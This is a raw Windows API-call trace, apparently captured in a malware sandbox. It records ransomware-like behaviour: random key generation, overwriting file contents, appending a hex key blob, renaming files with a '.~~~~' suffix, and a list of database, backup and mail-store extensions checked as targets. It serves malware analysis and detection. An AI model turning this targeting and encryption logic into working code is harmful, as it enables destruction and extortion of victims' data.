	[0085.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0085.296] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20528596337) returned 1
	[0085.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ca875f0, dwHighDateTime=0x1d60e1e)) 
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d000
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d000 | out: hHeap=0x300000) returned 1
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f34a0
	[0085.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0085.296] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.297] GetLastError () returned 0x0
	[0085.297] GetLastError () returned 0x0
	[0085.297] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.297] GetLastError () returned 0x0
	[0085.297] GetLastError () returned 0x0
	[0085.346] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.346] WriteFile (in: hFile=0x11c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x59f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x59f, lpOverlapped=0x0) returned 1
	[0085.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.347] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.348] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.348] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.348] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.348] CloseHandle (hObject=0x11c) returned 1
	[0085.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fb90
	[0085.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.~~~~")) returned 1
	[0085.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fb90 | out: hHeap=0x300000) returned 1
	[0085.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.351] GetLastError () returned 0x0
	[0085.352] RtlWakeConditionVariable () returned 0x365f70
	[0085.353] GetCurrentThreadId () returned 0xaf0
	[0085.353] GetCurrentThreadId () returned 0xaf0
	[0085.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3fc8 | out: hHeap=0x300000) returned 1
	[0085.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cfc8 | out: hHeap=0x300000) returned 1
	[0085.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3fc8
	[0085.353] lstrlenW (lpString=".scr") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".scr") returned 0x0
	[0085.353] lstrlenW (lpString=".cmd") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".cmd") returned 0x0
	[0085.353] lstrlenW (lpString=".dll") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dll") returned 0x0
	[0085.353] lstrlenW (lpString=".bat") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".bat") returned 0x0
	[0085.353] lstrlenW (lpString=".cpl") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".cpl") returned 0x0
	[0085.353] lstrlenW (lpString=".sys") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".sys") returned 0x0
	[0085.353] lstrlenW (lpString=".msc") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".msc") returned 0x0
	[0085.353] lstrlenW (lpString=".com") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".com") returned 0x0
	[0085.353] lstrlenW (lpString=".lnk") returned 4
	[0085.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".lnk") returned 0x0
	[0085.354] lstrlenW (lpString=".msp") returned 4
	[0085.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".msp") returned 0x0
	[0085.354] lstrlenW (lpString=".pif") returned 4
	[0085.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".pif") returned 0x0
	[0085.354] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.356] lstrlenW (lpString=".sqb") returned 4
	[0085.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".sqb") returned 0x0
	[0085.356] lstrlenW (lpString=".ost") returned 4
	[0085.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".ost") returned 0x0
	[0085.356] lstrlenW (lpString=".txt") returned 4
	[0085.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".txt") returned 0x0
	[0085.356] lstrlenW (lpString=".mdt") returned 4
	[0085.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".mdt") returned 0x0
	[0085.356] lstrlenW (lpString=".BDB") returned 4
	[0085.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".BDB") returned 0x0
	[0085.356] lstrlenW (lpString=".eql") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".eql") returned 0x0
	[0085.357] lstrlenW (lpString=".DBF") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DBF") returned 0x0
	[0085.357] lstrlenW (lpString=".EQL") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".EQL") returned 0x0
	[0085.357] lstrlenW (lpString=".FDB") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".FDB") returned 0x0
	[0085.357] lstrlenW (lpString=".EDB") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".EDB") returned 0x0
	[0085.357] lstrlenW (lpString=".DACPAC") returned 7
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.357] lstrlenW (lpString=".VHD") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".VHD") returned 0x0
	[0085.357] lstrlenW (lpString=".DBV") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DBV") returned 0x0
	[0085.357] lstrlenW (lpString=".dacpac") returned 7
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dacpac") returned 0x0
	[0085.357] lstrlenW (lpString=".sdf") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".sdf") returned 0x0
	[0085.357] lstrlenW (lpString=".accdb") returned 6
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".accdb") returned 0x0
	[0085.357] lstrlenW (lpString=".DBX") returned 4
	[0085.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DBX") returned 0x0
	[0085.358] lstrlenW (lpString=".MDT") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".MDT") returned 0x0
	[0085.358] lstrlenW (lpString=".SQB") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".SQB") returned 0x0
	[0085.358] lstrlenW (lpString=".vhd") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".vhd") returned 0x0
	[0085.358] lstrlenW (lpString=".bac") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".bac") returned 0x0
	[0085.358] lstrlenW (lpString=".mdf") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".mdf") returned 0x0
	[0085.358] lstrlenW (lpString=".BAK") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".BAK") returned 0x0
	[0085.358] lstrlenW (lpString=".BAC") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".BAC") returned 0x0
	[0085.358] lstrlenW (lpString=".dbs") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dbs") returned 0x0
	[0085.358] lstrlenW (lpString=".vhdx") returned 5
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".vhdx") returned 0x0
	[0085.358] lstrlenW (lpString=".NDF") returned 4
	[0085.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".NDF") returned 0x0
	[0085.358] lstrlenW (lpString=".dat") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dat") returned 0x0
	[0085.359] lstrlenW (lpString=".DBS") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DBS") returned 0x0
	[0085.359] lstrlenW (lpString=".CKP") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".CKP") returned 0x0
	[0085.359] lstrlenW (lpString=".edb") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".edb") returned 0x0
	[0085.359] lstrlenW (lpString=".PST") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".PST") returned 0x0
	[0085.359] lstrlenW (lpString=".dbf") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dbf") returned 0x0
	[0085.359] lstrlenW (lpString=".SQL") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".SQL") returned 0x0
	[0085.359] lstrlenW (lpString=".pst") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".pst") returned 0x0
	[0085.359] lstrlenW (lpString=".dbv") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dbv") returned 0x0
	[0085.359] lstrlenW (lpString=".SDF") returned 4
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".SDF") returned 0x0
	[0085.359] lstrlenW (lpString=".dtxs") returned 5
	[0085.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dtxs") returned 0x0
	[0085.360] lstrlenW (lpString=".db3") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".db3") returned 0x0
	[0085.360] lstrlenW (lpString=".OST") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".OST") returned 0x0
	[0085.360] lstrlenW (lpString=".dbx") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dbx") returned 0x0
	[0085.360] lstrlenW (lpString=".DB3") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DB3") returned 0x0
	[0085.360] lstrlenW (lpString=".DAT") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DAT") returned 0x0
	[0085.360] lstrlenW (lpString=".VHDX") returned 5
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".VHDX") returned 0x0
	[0085.360] lstrlenW (lpString=".ndf") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".ndf") returned 0x0
	[0085.360] lstrlenW (lpString=".DB") returned 3
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DB") returned 0x0
	[0085.360] lstrlenW (lpString=".sql") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".sql") returned 0x0
	[0085.360] lstrlenW (lpString=".MYD") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".MYD") returned 0x0
	[0085.360] lstrlenW (lpString=".DBT") returned 4
	[0085.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DBT") returned 0x0
	[0085.361] lstrlenW (lpString=".ACCDB") returned 6
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.361] lstrlenW (lpString=".fdb") returned 4
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".fdb") returned 0x0
	[0085.361] lstrlenW (lpString=".bak") returned 4
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".bak") returned 0x0
	[0085.361] lstrlenW (lpString=".myd") returned 4
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".myd") returned 0x0
	[0085.361] lstrlenW (lpString=".DTXS") returned 5
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".DTXS") returned 0x0
	[0085.361] lstrlenW (lpString=".ckp") returned 4
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".ckp") returned 0x0
	[0085.361] lstrlenW (lpString=".dbt") returned 4
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".dbt") returned 0x0
	[0085.361] lstrlenW (lpString=".db") returned 3
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".db") returned 0x0
	[0085.361] lstrlenW (lpString=".TXT") returned 4
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".TXT") returned 0x0
	[0085.361] lstrlenW (lpString=".MDF") returned 4
	[0085.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".MDF") returned 0x0
	[0085.361] lstrlenW (lpString=".bdb") returned 4
	[0085.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".bdb") returned 0x0
	[0085.362] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.362] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.363] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.363] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.363] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20535330796) returned 1
	[0085.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9cb1fb70, dwHighDateTime=0x1d60e1e)) 
	[0085.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cfc8
	[0085.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cfc8 | out: hHeap=0x300000) returned 1
	[0085.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4070
	[0085.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4070 | out: hHeap=0x300000) returned 1
	[0085.364] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.364] GetLastError () returned 0x0
	[0085.364] GetLastError () returned 0x0
	[0085.364] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.364] GetLastError () returned 0x0
	[0085.365] GetLastError () returned 0x0
	[0085.376] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff4459, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.376] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xbba7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xbba7, lpOverlapped=0x0) returned 1
	[0085.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.376] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.376] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.376] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.376] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.376] CloseHandle (hObject=0x11c) returned 1
